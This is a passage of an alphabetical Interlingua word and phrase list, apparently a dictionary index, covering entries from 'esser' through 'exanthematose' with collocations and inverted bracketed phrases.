un mal perditor\nesser un meravilia de precision\nesser un modello de perfection\nesser un regalo pro le aure\nesser un regalo pro le oculos\nesser un spina in le oculo\nesser un spirito rational\nesser un tumba\nesser urgente\nesser utile a un persona\nesser utilisate amplemente\nesser vela\nesser victima de\nesser victima de un facetia\nesser victima de un mystification\nesser victima de un persecution\nesser victoriose\nesser vigilantia\nesser vivente\nesser [ration de\nesser [ser =\nessera elevate [quicunque se abassara,\nessera facilemente rectificabile [iste error\nessera franc [io\nessera revisate [le accordo governamental\nessera [sera =\nesserarate pro qualcunque cosa\nesserea grate [le visita me\nesserea inconveniente pro te [un pauco plus de modestia non\nesserea inconveniente pro te [un poco plus de modestia non\nesserea [serea =\nesseres human [immolation de\nesseres irrational\nesseres supernatural\nesserjecte a dubita\nesserjecte al moda\nesseva absorbite in su pensamentos [ille\nesseva adverse a creder le [on non\nesseva agitate [le mercato\nesseva al bordo del desperation [illa\nesseva al bordo del despero [illa\nesseva alco revelator pro me [isto\nesseva ancora in un stato perfecte de preservation [le vetere edificio\nesseva approbate al unanimitate [iste proposition\nesseva assalite per jornalistas [le ministro\nesseva attachate al ultimatum [un limite de tempore\nesseva authentic [su regret\nesseva bastante disfavorabile [le tempore\nesseva ben salate [le nota\nesseva celate detra le arbores [le casa\nesseva clavate in su sedia [ille\nesseva clavate super su sedia [ille\nesseva contradictori [le declarationes\nesseva convictos [le prime colonos de Australia\nesseva coperite de rore [le campos\nesseva coperte de fango [le infante\nesseva deliberate [le action\nesseva deportate a Siberia [ille\nesseva difficilemente previsibile [le cosa\nesseva dismesuratemente ambitiose [ille\nesseva dividite in duo campos [le pais\nesseva equivoc [su responsas\nesseva exiliate per Augusto a Tomi [Ovidio\nesseva expulsate de Espania in 1492 [le judeos\nesseva favorabile [le vento\nesseva general [le agitation\nesseva in delirio [le publico\nesseva in le septime celo [ille\nesseva in van [tote effortio\nesseva incompatibile [le declarationes\nesseva irreconciliabile [le declarationes\nesseva le anima del conspiration [ille\nesseva le architecto del reforma [Luther\nesseva le architecto del reformation [Luther\nesseva le bon senso personificate de su seculo [Erasmus\nesseva le evangelisatores de Europa occidental [le monachos irlandese\nesseva le protagonista del vespera [illa\nesseva le protagonista del vespere [illa\nesseva legion [su errores\nesseva melior [le prime version\nesseva mi intention [iste non\nesseva obnubilate per le passion [su mente\nesseva obnubilate per le passion [su spirito\nesseva originalmente rubie [le color\nesseva originarimente un crito de guerra [le slogan\nesseva plen de algas e conchas adherite [le nave\nesseva plumbee [le celo\nesseva presente [ni ille ni su marita\nesseva previsibile desde longe tempore [isto\nesseva prodige de laudes [ille\nesseva proportionate a su voluntate [su fortias non\nesseva proxime al desperation [illa\nesseva proxime al despero [illa\nesseva rationabile [su revindicationes\nesseva rejectate [le corde transplantate\nesseva removite del sala [le disturbatores\nesseva sin fundamento [su insatisfaction non\nesseva strictemente private [su funerales\nesseva surprendente [le resultato\nesseva temporarimente interrumpite [le navigation\nesseva total [le confusion\nesseva tres [nos\nesseva un action isolate [isto\nesseva un adolescente de dece-sex annos, quando le guerra ha erumpite [io\nesseva un feretro flottante [le nave\nesseva un longe calvario [su vita\nesseva un multo parve minoritari [illes\nesseva visibilemente surprendite [ille\nesseva [era =\nesseva [le objectivo\nessite adoptate per vinti votos e duo abstentiones [le motion ha\nessite blocate [le frenos ha\nessite brutalmente mutilate [le victima habeva\nessite comdemnate como corruptor del juvenes [Socrates ha\nessite contestate [su position ha\nessite damnificate per le aqua del mar [le mercantias ha\nessite devorate per un tigre [ille ha\nessite disappunctate in su sperantias [ille ha\nessite evacuate per le policia [post un mense de occupation le fabrica ha\nessite facturate [iste articulo non ha\nessite fusillate post un parodia de processo [ille ha\nessite in van [tote le effortios ha\nessite injuste con ille [io ha\nessite le revelation del match [iste jocator ha\nessite multo effective [le innovationes ha\nessite mythificate [Carolo Magne ha\nessite nullificate [su dimission ha\nessite operante [nostre mesura ha\nessite programmate a un hora troppo tardive [iste emission ha\nessite programmate pro pannos colorate [le lavator ha\nessite relegate al secunde division [iste equipa ha\nessite sufficientemente clar? [esque io ha\nessite un bon ambassador de su pais [ille ha\nessite [ille non es plus que le umbra de lo que ille ha\nessugacapillos\nessugadiscos\nessugamano(s)\nessugamobiles\nessugapedes\nessugapenna\nessugar\nessugar le naso\nessugar se le fronte\nessugar se le manos\nessugar se le pedes\nessugar [panno de\nessugator\nessugavitros\nessugavitros intermittente\nest\nEst [Europa del\nest [fronte del\nEst [Germania del\nest [ir al\nest [le vento suffla del\nest [vento del\nest [vicinos del\nest-african\nest-africano\nest-asiatic\nest-europee\nest-german\nest-germanic\nest-germanic [linguas\nest-germano\nestabilir un imposto\nestablimento\nestablimento agricole\nestablimento avicole\nestablimento bancari\nestablimento commercial\nestablimento correctional\nestablimento de banca\nestablimento de banios\nestablimento de credito\nestablimento de industria\nestablimento de inseniamento\nestablimento de instruction\nestablimento de natation\nestablimento de surdemutos\nestablimento del factos\nestablimento industrial\nestablimento penitentiari\nestablimento piscicole\nestablimento public\nestablimento thermal\nestablimento [derecto de\nestablir\nestablir contacto [persona con difficultate pro\nestablir contactos\nestablir le balancio\nestablir le fundamentos de\nestablir le innocentia de un persona\nestablir le saldo\nestablir negotiationes\nestablir se\nestablir su infantes\nestablir su renomine\nestablir un budget\nestablir un campamento\nestablir un campo\nestablir un colonia\nestablir un fundo\nestablir un imposto\nestablir un maximo\nestablir un precio\nestablir un processo verbal\nestablir un record\nestablir un regulamento\nestablishment\nestablite a Bilthoven [ille se ha\nestablite in Bilthoven [ille se ha\nestablite in iste edificio [le officio es\nestablite [conformar se al costumes\nestablite [conformar se al usages\nestablite [conformar se al usos\nestablite [costume\nestablite [interesses\nestablite [mantenentia del ordine\nestablite [opinion\nestablite [ordine\nestablite [practica\nestablite [practicas\nestablite [prejudicio\nestablite [reputation ben\nestablite [usos\nestablitor\nestate\nestate caldissime\nestate calidissime\nestate calorose\nestate es imminente [le\nestate pluviose\nestate [campamento de\nestate [casetta pro le\nestate [comencio del\nestate [curso de\nestate [dica de\nestate [die de\nestate [festa de\nestate [hora de\nestate [horario de\nestate [jorno de\nestate [le fructos abunda iste\nestate [le hirundines annuncia le\nestate [medio de\nestate [medio del\nestate [mense de\nestate [monson del\nestate [placeres de\nestate [planta de\nestate? [quales es vostre projectos pro iste\nestate [residentia de\nestate [saison de\nestate [semestre de\nestate [servicio de\nestate [sol de\nestate [solstitio de\nestate [sonio de un nocte de\nestate [sport de\nestate [temperatura de\nestate [tonsion de\nestate [tritico de\nestate [vacantias de\nestate [vespera de\nestate [vestimentos de\nester\nesterase\nesterificar\nesterificar un acido\nesterification\nesterisar\nEstfalia\nesthesia\nesthesiogene\nesthesiologia\nesthesiologic\nesthesiometria\nesthesiometric\nesthesiometro\nesthesioneurose = esthesioneurosis\nesthesioneurosis [esthesioneurose =\nestheta\nesthetic\nesthetic [chirurgia\nesthetic [emotion\nesthetic [gusto\nesthetic [placer\nesthetic [senso\nesthetic [sentimento\nesthetic [valor\nesthetica\nesthetica dogmatic de Platon [le\nesthetica industrial\nestheticamente le flores [disponer\nestheticitate\nesthetisante [scriptor\nesthetisar\nesthetismo\nesthetismo de Oscar Wilde\nesthetista\nestima\nestima de un persona [montar in le\nestima de un persona [non gauder del\nestima general [gauder de\nestima public [haber le\nestima [con le plus alte\nestima [crescer in\nestima [digne de\nestima [esser in grande\nestima [monstra material de\nestima [navigation al\nestima [non haber in multe\nestima [proba material de\nestima [prova material de\nestima [tener in grande\nestimabile\nestimabilitate\nestimar\nestimar le damno(s)\nestimar multo\nestimar necessari facer un cosa\nestimar un cosa in su juste valor\nestimar un distantia\nestimar un joiel [facer\nestimar un servicio a su juste valor\nestimate\nestimate collega\nestimate [valor\nestimation\nestimation budgetari\nestimation caute\nestimation de Bayes\nestimation de error\nestimation del budget\nestimation del production\nestimation prudente\nestimation [secundo mi\nestimative\nestimator\nestiva tote le annos al campania [ille\nestivante\nestivar\nestivation\nestive\nestive [curso\nestive [dica\nestive [die\nestive [flor\nestive [horario\nestive [jorno\nestive [leucojo\nestive [mense\nestive [placeres\nestive [planta\nestive [pluvia\nestive [residentia\nestive [saison\nestive [servicio\nestive [sonio de un nocte\nestive [sport\nestive [temperatura\nestive [tempore\nestive [tritico\nestive [vacantias\nestive [viage\nEstonia\nestonian\nestoniano\nestrade\nestrade de honor\nestragon\nestragon [vinagre a\nestral\nestral [cyclo\nestraniamento\nestraniar\nestranie\nestranie [componentes\nestranie [corpore\nestranie [devisa\nestranie [isto ha un aspecto\nestranie [isto me pare\nestranie [jargonar un lingua\nestranie [laborator\nestranie [obrero\nestranie [travaliator\nestranie [un par\nestranie [un phenomeno\nestranier\nEstranier [Departimento del Affaires\nestranier [emissor\nestranier [interferentia del linguas materne e\nestranier [le dominio\nestranier [le invasor\nestranier [le pais suffreva domination\nestranier [legion\nestranier [lingua\nEstranier [ministerio del Affaires\nEstranier [ministro del Affaires\nestranier [moneta\nestranier [specialista de questiones\nestraniero\nestraniero [al\nestraniero [telegramma pro le\nestraniero [un viage al\nestranieros indesiderabile [expeller\nestranieros indesiderabile [expulsar\nestranieros indesirabile [expeller\nestranieros indesirabile [expulsar\nestranietate\nestro\nestrogene\nestrogeno\nestron\nestuarial\nestuario\nestuario de marea\nestuario [pollution de\nestuario [porto de\nestufa\nestufa a carbon\nestufa a gas\nestufa a oleo\nestufa a petroleo\nestufa de cactos\nestufa de carbon\nestufa de cocina\nestufa de convection\nestufa de cucumbres\nestufa de cucumeres\nestufa de disinfection\nestufa de filices\nestufa de gas\nestufa de oleo\nestufa de petroleo\nestufa de rosas\nestufa de tomates\nestufa economic\nestufa functiona ben [le\nestufa sin calefaction\nestufa [accender le\nestufa [calor de\nestufa [climate de\nestufa [effecto de\nestufa [flor de\nestufa [foco de\nestufa [fructo de\nestufa [fructos de\nestufa [fumo de\nestufa [grillia de\nestufa [illa se caleface juxta un parve\nestufa [ille se calefaceva juxta un parve\nestufa [legumines de\nestufa [placa de\nestufa [planta de\nestufa [temperatura de\nestufa [tomate de\nestufa [tubo de\nestufa [uva de\nestufa [verduras de\nestufar\nestufar [anguilla a\nestufas [construction de\nestufas [constructor de\nestufato\nestufato de carotas\nestufatoria\nesturdimento\nesturdir\nesturdite\nesturdite [responsa\nesule [euphorbia\net orbi [benediction urbi\net orbi [urbi\netage\netage inferior\netage superior\netage terren\netage [appartamento al\netage [autobus a\netages superior de un casa\netages [autobus a duo\netages [missile a\netages [missile a tres\netape\netape contra le horologio per equipas\netape de montania\netape [carta de\netape [mappa de\netape [numerose curritores ha abandonate in le curso de iste\netapes [cursa per\netapes [diffusion a duo\netate\netate adulte\netate antique\netate augustee\netate avantiate\netate avantiate [a un\netate avantiate [de\netate avantiate [in\netate benedicte de octanta annos [ille moriva al\netate benedicte de octanta annos [ille moriva in le\netate competente pro votar\netate de 98 annos [decedite al\netate de 98 annos [morite al\netate de auro\netate de bronzo\netate de discernimento\netate de ferro\netate de petra\netate de retiro\netate de vinti-un annos [attinger al\netate del alumnos [adaptation del inseniamento al\netate del discretion\netate del fecunditate\netate del ferro\netate del judicio [le\netate del petra\netate ha vos? [que\netate inter illes [il non ha un grande differentia de\netate limite fixate [exceder le\netate major\netate matur\netate median [de\netate medie\netate medie [de\netate mesolithic\netate minime\netate minor\netate neolithic\netate nubile\netate primari\netate puberal\netate pueril\netate scholar\netate scholar [de\netate se extende de 500 usque a 1500 [le medie\netate victorian [le expansionismo colonial de Anglaterra in le\netate viril\netate [a mi\netate [arrivar a un certe\netate [avantiate in\netate [categoria de\netate [categoria de un determinate\netate [classe de\netate [de medie\netate [de un certe\netate [differentia de\netate [disparitate de\netate [disproportion de\netate [esser del mesme\netate [gente de mi\netate [gruppo de\netate [gruppo de un determinate\netate [haber le mesme\netate [illa es disavantagiate de su\netate [le flor del\netate [le privilegios conferite al\netate [limite de\netate [major\netate [minor\netates [a transverso le\netcetera\neternal\neternal [adeo\neternal [discussiones\neternal [gloria\neternal [rancor\neternal [reposo\neternal [somno\neternal [supplicios\neternal [vita\neterne\neterne feminino [le\neterne juventute [le\neterne [acquirer gloria\nEterne [Citate\neterne [damnation\neterne [le pace\neterne [limite del nives\neterne [nives\neterne [pace\neterne [question\neterne [reposo\nEterne [Roma es le Citate\neterne [somno\neterne [su surriso\neterne [veritate\neterne [vita\neternemente ver [principios\neternisa [le guerra se\neternisar\neternisar le nomine de un poeta\neternisar un discussion\neternisara le memoria de iste grande scientista [iste discoperta\neternitate\neternitate del tempore [le\neternitate [durar un\nethano\nethanol\netheno\nethere\nethere de petroleo\nethere sulfuric\nethere [masca a\nethere [masca de\nethere [mascara a\nethere [mascara de\nethere [odor de\nethere [pirata del\nethere [pollution del\netheree\netheree [corpore\netheree [volta\netherificar\netherificar alcohol\netherification\netherisar\netherisation\netherisation local\netherismo\netheromane\netheromania\netheromano\nethic\nethic de Kant [concessiones\nethic de un problema [aspecto\nethic [judicio\nethic [norma\nethic [preceptos\nethic [principios\nethic [regula\nethic [valores\nethica\nethica christian\nethica cynic\nethica de Spinoza\nethica heteronome\nethica medic\nethica medical\nethica nietzschean\nethica professional\nethica utilitaristic [un\nethicitate\nethicitate del stato [le\nethico\nethiope\nEthiopia\nethiopic\nethiopic [fauna\nethiopic [lingua\nethiopic [litteratura\nethiopic [stato\nethmoidal\nethmoidal [cavitate\nethmoide\nethmoide [osso\nethnarcha\nethnarchia\nethnia\nethnic\nethnic [characteristicas\nethnic [differentias\nethnic [gruppo\nethnic [insula\nethnic [massacro de un minoritate\nethnic [minoritaris\nethnic [minoritates\nethnic [musica\nethniciser\nethnicitate\nethnobotanica\nethnobotanista\nethnocentric\nethnocentricitate\nethnocentrismo\nethnocentrismo del cultura europee [le\nethnocidio\nethnogenia\nethnographia\nethnographic\nethnographic [museo\nethnographic [recercas\nethnographic [studios\nethnographo\nethnolinguista\nethnolinguistic\nethnolinguistica\nethnologia\nethnologic\nethnologic [recerca\nethnologista\nethnologo\nethnomusicologia\nethnomusicologic\nethnomusicologista\nethnomusicologo\nethnopsychiatria\nethnopsychologia\nethogramma\nethographia\nethographic\nethologia\nethologic\nethologic [studios\nethologista\nethologo\nethopeia\nethos\nethylamino\nethyleno\nethylic\nethylic [alcohol\nethylic [compositos\nethylo\netiam\netiam [non solmente sed\netiologia\netiologic\netiopathe\netiquetta\netiquetta autoadhesive\netiquetta de adresse\netiquetta de garantia\netiquetta de precio\netiquetta de qualitate\netiquetta del corte\netiquetta gummate\netiquetta [applicar un\netiquetta [discollar un\netiquetta [observar le\netiquetta [respectar le\netiquettar\netiquettar pacchettos\netiquettar [machina a\netiquettar [machina de\netiquettate mechanicamente [le lattas es\nEtna\nEtna [le monte\nEtruria\netrusc\netrusc Etruskische dodenstad [necropole\netrusc [civilisation\netrusc [civilisation del\netrusc [cultura\netrusc [lingua\netrusc [necropoles\netruscologia\netruscologic\netruscologic [recercas\netruscologo\nEtruskische dodenstad [necropole etrusc\netui\netui a berillos\netui a cigarrettas\netui con serratura fulmine\netui de berillos\netui de compasso\netui de passaporto\netui penian\netymo\netymo de interlingua \"verde\" es le \"viridis\" latin [le\netymologia\netymologia popular\netymologic\netymologic [dictionario\netymologic [orthographia\netymologic [senso\netymologic [significato\netymologisar\netymologisar un familia de paroles\netymologista\netymologo\neuarctoamerican\neubacterio\neubiotica\neucalypto\neucalypto [cortice de\neucalypto [de ligno de\neucalypto [ligno de\neucalypto [oleo de\neucalypto [trunco de\neucalyptol\neucaryote\neucharidio\neucharistia\neucharistia [celebration del\neucharistic\neucharistic [congresso\neucharistic [precaria\neuchromatic\neuchromatina\neuchromosoma\nEuclides\nEuclides [algorithmo de\neuclidian\neuclidian es tridimensional [le spatio\neuclidian [geometria\neuclidian [geometria non\neuclidian [le spatio\neucratea\neudemonia\neudemonismo\neudemonismo de Aristotele\neudemonista\neudemonistic\neudemonistic de Epicuro [le doctrina\neudiometria\neudiometric\neudiometric [instrumento\neudiometro\neugenetic\neugenetico\neugenic\neugenic [doctrina\neugenic [mesuras\neugenic [practicas\neugenic [sterilisation\neugenica\neugenista\neuglena\nEulalia [cantilena de Sancte\nEuler\nEuler [axes de\nEuler [equation de\neulerian\neulerian [axes\neulerian [equation\neunucho\neupatorio\neupepsia\neupeptic\neupeptico\neuphemia\neuphemic\neuphemic [expression\neuphemic [terminos\neuphemismo\neuphemistic\neuphemistic [expression\neuphemistic [terminos\neuphone\neuphonia\neuphonic\neuphonic [sonos\neuphonisar\neuphorbia\neuphorbia amygdaloide\neuphorbia esule\neuphorbia palustre\neuphorbia platyphylle\neuphorbia splendente\neuphorbiaceas\neuphoria\neuphoria del victoria\neuphoria maniac\neuphoric\neuphoric [esser in un stato\neuphorisar\neuphotic\neuphotic [zona\neuphrasia\nEuphrate\neuphuismo\neuphuista\neuphuistic\neurafrican\neurafricano\nEurasia\neurasian\neurasian [placa\neurasiano\neurasiatic\neurasiatic [continente\neureka!\neurhythmia\neurhythmia de colores\neurhythmic\neurhythmic [pulso\neuro\nEuro = Eurus\neurocentric\neurocheque\neurocommission\neurocommunismo\neurocrate\neurodeputato\neurodollar\neurodollar [mercato del\neurofunctionario\nEuromercato\nEuropa\nEuropa Central\nEuropa Continental\nEuropa del Est\nEuropa del Nord\nEuropa del Sud\nEuropa del West\nEuropa medieval\nEuropa Meridional\nEuropa Occidental\nEuropa occidental\nEuropa occidental [le monachos irlandese esseva le evangelisatores de\nEuropa occidental [le Romanos ha latinisate tote le populos de\nEuropa Oriental\nEuropa Septentrional\nEuropa [carta de\nEuropa [Consilio de\nEuropa [Cuppa de\nEuropa [cuppa de\nEuropa [football pro de cuppa de\nEuropa [football pro le Cuppa de\nEuropa [hydrographia de\nEuropa [le populos de\nEuropa [mappa de\nEuropa [orographia de\nEuropa [unificar\nEuropa [unification politic de\neuroparlamentario\neuroparlamento\neuropee\nEuropee de Investimentos [Banca\nEuropee de pagamentos [Union\neuropee de Pagamentos [Union\nEuropee pro le Recerca Nuclear [CERN: Consilio\neuropee se ha coalisate contra Napoleon [le potentias\nEuropee [accession de un pais al Union\nEuropee [adhesion de Svedia al Union\neuropee [campionato\nEuropee [CEE: Communitate Economic\neuropee [commissario\neuropee [Commission\nEuropee [communitate\neuropee [Communitate\neuropee [equilibrio\neuropee [federalismo\neuropee [in le contexto\neuropee [intergruppo del linguas minoritari in le parlamento\neuropee [le ethnocentrismo del cultura\neuropee [le nationes\neuropee [le populos\neuropee [lorantho\nEuropee [Mercato\neuropee [mercato\nEuropee [Parlamento\neuropee [Parlamento\neuropee [reconquirer le titulo\neuropee [record\nEuropee [regime lingual del Union\neuropee [Russia\neuropee [trollio\neuropee [Union\neuropeisar\neuropeisation\neuropeismo\neuropeista\neuropeitate\neuropeo\neuropeo del sud\neurophobia\neuropium\neuros de supplemento [pagar dece\neuros [pagar un supplemento de dece\neurosceptic\neurosceptico\neurosocialismo\neurostrategic\neurosummite\neuroterrorismo\nEurovision\nEurovision [festival de\nEurus [Euro =\neurystomooriental\neuscare\neuscare [lingua\neuscaro\nEustachian\nEustachian [trompa\nEustachian [tuba\nEustachio\nEustachio [trompa de\nEustachio [tubo de\neustatic\neustatic [movimentos\neustatismo\neutectic\neutectic [alligato\neutectic [mixtura\neutectic [puncta\neutectico\neutexia\neutexia [puncto de\neuthanasia\neuthanasia active\neuthanasia passive\neuthanasia [practicar le\neuthanasic\neuthanatico\neutrophia\neutrophic\neutrophicar\neutrophication\neutrophisation\nEva\nEva [in costume de\nevacua su aquas in le canal de cinctura [iste polder\nevacuamento\nevacuante\nevacuar\nevacuar le aqua\nevacuar le tribuna public [on faceva\nevacuar un casa\nevacuate per le policia [post un mense de occupation le fabrica ha essite\nevacuation\nevacuation de feces\nevacuation urinari\nevacuation [esclusa de\nevacuation [orificio de\nevacuation [tubo de\nevacuative\nevader\nevader del carcere\nevader del prision\nevader un prisionero [facer\nevaginar\nevagination\nevalutar\nevalutar le costos\nevalutar le damno(s)\nevalutar le damnos\nevalutar le numero de visitatores\nevalutate le distantia [io ha mal\nevalutation\nevalutation approximative [facer un\nevalutation de un distantia\nevalutation del costos\nevalutation del impostos\nevalutation del production\nevalutation global [facer un\nevanescente\nevanescente [cader\nevanescente [imagines\nevanescentia\nevanescentia de un imagine [le\nevanescer\nevanescimento\nevangeliario\nevangelic\nevangelic [bontate\nevangelic [doctrina\nevangelic [humilitate\nevangelic [mansuetude\nevangelic [parabola\nevangelic [perfection\nevangelic [virtute\nEvangelina\nevangelio\nevangelio apocryphe\nevangelio de Johannes\nevangelio de Lucas\nevangelio de Marco\nevangelio de Mattheo\nevangelio de Natal\nevangelio del Nativitate\nevangelio secundo Johannes\nevangelio secundo Lucas\nevangelio secundo Marco\nevangelio secundo Marco\nevangelio secundo Mattheo\nevangelio secundo Mattheo\nevangelio [ministerio del\nevangelio [ministro del\nevangelio [predicar le\nevangelio [predication del\nevangelio [predicator del\nevangelio [propagar le\nevangelio [propagation del\nevangelios apocryphe\nevangelios synoptic\nevangelios [le quatro\nevangelisar\nevangelisation\nevangelisation del populos slave [le\nevangelisator\nevangelisatores de Europa occidental [le monachos irlandese esseva le\nevangelismo\nevangelista\nevangelistica\nevangelo\nEvangile johannique\nevaporabile\nevaporabilitate\nevaporar\nevaporar se\nevaporar un liquido\nevaporar un solution\nevaporate [lacte\nevaporation\nevaporation thermal\nevaporation thermic\nevaporation [apparato de\nevaporative\nevaporator\nevaporatori\nevaporite\nevasion\nevasion de capitales\nevasion de un prisionero de guerra\nevasion del carcere\nevasion del prision\nevasion fiscal\nevasion foris del realitate\nevasion in le passato\nevasion [plano de\nevasion [possibilitate de\nevasion [preparar un\nevasion [tentativa de\nevasion [tramar un\nevasive\nevasive [dar un responsa\nevasive [gesto\nevasive [reguardo\nevasive [remaner\nevasive [responsa\nevasive [restar\nevasivemente a un demanda [responder\nevasivemente [responder\nevasivitate\nevasivitate al question [ille responde con\nevasor\nevasor fiscal\nevection\nevelia\neveliar\neveliar amor\neveliar curiositate\neveliar interesse\neveliar se\neveliar se de su somnolentia\neveliar se de un somnolentia\neveliar se de un sonio\neveliar un cosa in un persona\neveliate [le ruito non me ha\neveliate [soniator\neveliator\neveliator a repetition\neveliator a sex horas [mitter le\neveliator a sex horas [poner le\neveliator de nove ideas\neveliator de repetition\neveliator de viage\neveliator sona [le\neveliator [non audir le\neveliator [radio\neveller\neveller del oblido\neveller del oblivion\neveller le vestimentos del corpore\neveller un cosa al oblido\neveller un cosa al oblivion\nevellite [le morte nos le ha\neveni traditionalmente in septembre [isto\nevenimential\nevenimential [historia\nevenimento\nevenimento [guardar le memoria de un\nevenir\nevento\nevento es gravate indelibilemente in su memoria [iste\nevento exceptional\nevento importante\nevento memorabile\nevento mundial\nevento recente\nevento sportive\nevento surprendente\nevento [adder lustro a un\nevento [dar un version inexacte de un\nevento [deplorar un\nevento [imprevisibilitate de un\nevento [le posterioritate de un\nevento [minimisar le importantia del\nevento [version deformante de un\neventos calamitose\neventos concatenate [un serie de\neventos futur [precognition de\neventos historic\neventos historic [contemporaneitate de duo\neventos imminente\neventos imprevisibile\neventos peripheric\neventos precipitate\neventos se incatenava con un logica impressionante [le\neventos [catena de\neventos [curso del\neventos [evolution del\neventos [filiation del\neventos [ille ha passate per multe\neventos [incatenamento de\neventos [interdependentia del\neventos [le relation inter le duo\neventos [logica del\neventos [precipitar le\neventos [su explanation del\neventrar\neventrar le solo\neventrar un animal\neventration\neventual\neventual [beneficios\neventual [costos\neventual [damno(s)\neventual [profitos\neventual [successor\neventualitate\neventualitate [esser preste a tote\neventualitate [ille esarate a omne\neventualitate [in le\neversion\neversion del stato\neverter\neviction\neviction [mandato de\neviction [ordine de\nevidente\nevidente de suicidio [un caso\nevidente que ille ha mentite [il es\nevidente [con satisfaction\nevidente [contrasto\nevidente [error\nevidente [isto es un cosa\nevidente [isto es un error\nevidente [mentita\nevidente [proba\nevidente [prova\nevidente [veritate\nevidentia\nevidentia de un cosa [negar le\nevidentia del factos [le\nevidentia [demonstrar un\nevidentia [le fortia del\nevidentia [mitter in\nevidentia [negar le\nevidentia [poner in\nevidentia [render se al\nevidentiar\nevincer\neviscerar\nevisceration\nevita le contacto con le pelle\nevitabile\nevitabile [error\nevitabile [periculo\nevitabilitate\nevitar\nevitar difficultates\nevitar le apparentias\nevitar le casa de un persona\nevitar le chaco\nevitar le combatto\nevitar le complicationes\nevitar le lucta\nevitar le mal compania\nevitar le pena a un persona\nevitar le reguardo de un persona\nevitar le trappa de offside\nevitar un catastrophe\nevitar un discussion\nevitation\nevitator\nevo\nevo antique\nevo medie\nevocar\nevocar a un tribunal superior\nevocar le infantia\nevocar le mortos\nevocar le passato\nevocar spiritos\nevocar su vita anterior\nevocar un problema\nevocation\nevocation a un tribunal superior\nevocation del mortos\nevocative\nevocative [linguage\nevocative [musica\nevocatori\nevocatori [gesto\nevocatori [linguage\nevocatori [stilo\nevocatori [titulo\nevoluta\nevolution\nevolution continue\nevolution convergente\nevolution de un maladia\nevolution del derecto\nevolution del eventos\nevolution del lingua\nevolution del mercato mundial\nevolution del pensamento\nevolution del pensata\nevolution del precios\nevolution del salario\nevolution del salarios\nevolution del specie\nevolution del tempore\nevolution discontinue\nevolution divergente\nevolution linguistic\nevolution natural [disregulamento del\nevolution natural [disregular un\nevolution orthogenetic\nevolution parallel\nevolution regressive\nevolution tumultuose\nevolution turbulente\nevolution [irreversibilitate del\nevolution [le sector del sanitate es in plen\nevolution [stadio de\nevolution [theoria del\nevolutionari\nevolutionari [stadio\nevolutionismo\nevolutionismo de Darwin\nevolutionismo de Lamarck\nevolutionismo de Spencer\nevolutionista\nevolutionista [doctrina\nevolutionista [theoria\nevolutionistic\nevolutionistic del realitate [un interpretation\nevolutionistic [doctrina\nevolutionistic [theoria\nevolutionistic [these\nevolutive\nevolutive [forma\nevolutive [phenomenos\nevolutive [processo\nevolutive [stadio\nevolve inexorabilemente verso le morte [le maladia\nevolver\nevolver un film\nevonymo\nevulsion\nevulsion de un molar [le\nex\nex aequo\nex cathedra\nex cathedra [le papa es infallibile quando ille parla\nex cathedra [un decision\nex machina [deus\nex professo\nex professo [ille ha tractate iste materia\nex tempore [parlar\nex-communista\nex-libris\nex-marito\nex-ministro\nex-presidente\nexacerba [le dolor se\nexacerba [odio que se\nexacerbar\nexacerbation\nexacerbation de un desiderio\nexacerbation de un desiro\nexacerbation de un dolor\nexacerbation de un maladia\nexacte\nexacte a un rendez-vous [esser\nexacte contrario [le\nexacte [copia\nexacte [description\nexacte [io vos certifica que le information es\nexacte [le division non es\nexacte [le hora\nexacte [le horologio indica le hora\nexacte [responsa\nexacte [scientia\nexacte [scientias\nexacte [traduction\nexacte [venir al hora\nexactemente le regulas [observar\nexactemente lo que io ha dicite\nexaction\nexactitude\nexactitude historic\nexactitude religiose [con\nexactitude [fixar un cosa con\nexactitude [maniaco de\nexactitude [observar su deberes con\nexactor\nexaggerar\nexaggerar le sperantias\nexaggerar [tendentia a\nexaggerate pour [professar un admiration\nexaggerate [grandemente\nexaggerate [meticulositate\nexaggerate [minutia\nexaggeratemente amabile\nexaggeration\nexaggerative\nexaggerator\nexaltar\nexaltar al pontificato\nexaltar le virtutes de un sancto\nexaltar se\nexaltate\nexaltate [attitude\nexaltate [ideas\nexaltate [imagination\nexaltate [sentimentos\nexaltation\nexaltation del Cruce\nexaltation del Sancte Cruce\nexaltation intellectual\nexaltation mystic\nexaltation nervose\nexaminabile\nexaminabile solo al microscopio [materiales\nexaminante\nexaminar\nexaminar le moralitate de un cosa\nexaminar le pro e le contra de un cosa\nexaminar le testes\nexaminar monstras\nexaminar rationalmente un puncto de vista\nexaminar un cosa a fundo\nexaminar un cosa caso per caso\nexaminar un machina\nexaminar un malado\nexaminar un situation\nexaminar un texito al microscopio\nexaminator\nexaminator impassibile\nexaminator indulgente\nexaminator sever\nexamine\nexamine audiometric\nexamine comparative\nexamine con successo [passar un\nexamine de admission\nexamine de conductor\nexamine de conscientia\nexamine de entrata\nexamine de ingresso\nexamine de mathematica [esser exempte del\nexamine de oculos\nexamine de passage\nexamine de sanguine\nexamine del function visual\nexamine del oculos\nexamine del pulmones\nexamine del stato\nexamine del stomacho\nexamine del ventre\nexamine doctoral\nexamine endoscopic\nexamine final\nexamine gastric\nexamine gynecologic\nexamine histologic\nexamine impartial\nexamine intestinal\nexamine mammographic\nexamine medic\nexamine medical\nexamine neurologic\nexamine objective\nexamine oral\nexamine orthoptic\nexamine practic\nexamine prenuptial\nexamine pro le permisso de conducer\nexamine pro patente de guidar\nexamine pro permisso de guidar\nexamine psychotechnic\nexamine psychotechnic [mitter un persona a un\nexamine radiographic\nexamine radiologic\nexamine radioscopic\nexamine radioscopic [mitter a un\nexamine radioscopic [mitter se a un\nexamine radioscopic [submitter a un\nexamine rectoscopic\nexamine scholar\nexamine scripte\nexamine summari\nexamine suppletive\nexamine testimonial\nexamine theoric\nexamine verbal\nexamine [commission de\nexamine [committer un fraude in un\nexamine [convocar un persona a un\nexamine [durata del\nexamine [duration del\nexamine [edificio de\nexamine [esser refusate a un\nexamine [excluder un persona de un\nexamine [facer inscriber se pro un\nexamine [facer passar un\nexamine [facer se inscriber pro un\nexamine [facer un\nexamine [facilitate de un\nexamine [ille ha un pauco de apprehension ante su\nexamine [ille ha un poco de apprehension ante su\nexamine [libere\nexamine [materia de\nexamine [materia obligatori pro un\nexamine [passar un\nexamine [perpetrar un fraude in un\nexamine [preparar se a un\nexamine [preparar se pro un\nexamine [question de\nexamine [refacer un\nexamine [resultato del\nexamine [sala de\nexamine [spirito de\nexamine(s) [periodo del\nexanime\nexanime al solo [cader\nexanime al solo [jacer\nexanthema\nexanthematic\nexanthematic [febre\nexanthematic [typho\nexanthematose\nexanthematose 